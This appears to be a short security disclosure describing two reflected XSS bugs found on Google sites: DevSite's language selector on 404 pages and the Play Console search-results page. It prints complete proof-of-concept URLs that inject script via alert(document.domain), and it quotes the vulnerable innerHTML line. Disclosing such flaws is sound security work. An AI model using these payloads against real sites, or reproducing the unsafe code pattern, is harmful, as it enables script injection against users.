Due to a vulnerability in the server-side implementation of <devsite-language-selector> part of the URL was reflected as html so it was possible to get XSS on the origins using that component from the 404 page.
This was found using DalFox which kept finding the same bug due to it being the “not found” page.
https://developers.google.com/foo%22%3E%3Cimg%20src=x%3E%3C/a%3E%3C/li%3E%3C/ul%3E%3C/devsite-language-selector%3E%3Ch1%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/a https://cloud.google.com/foo%22%3E%3Cimg%20src=x%3E%3C/a%3E%3C/li%3E%3C/ul%3E%3C/devsite-language-selector%3E%3Ch1%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/a
On the search page of google play console vulnerable code was run when the search resulted in an error.
Getting an error was simple as doing /?search=& and because window.location includes the hash which never encodes ' it’s possible to escape the href context and set other html attributes, unlike the DevSite XSS this is prevented by the CSP but was still awarded more by the panel.
b.innerHTML = b.innerHTML.replace(/({query})/g, "<a href='" + window.location + "'>" + a.g + "</a>");
https://play.google.com/console/about/search-results/?search=&#’onclick=alert(document.domain)//
The writeups are referenced on PortSwigger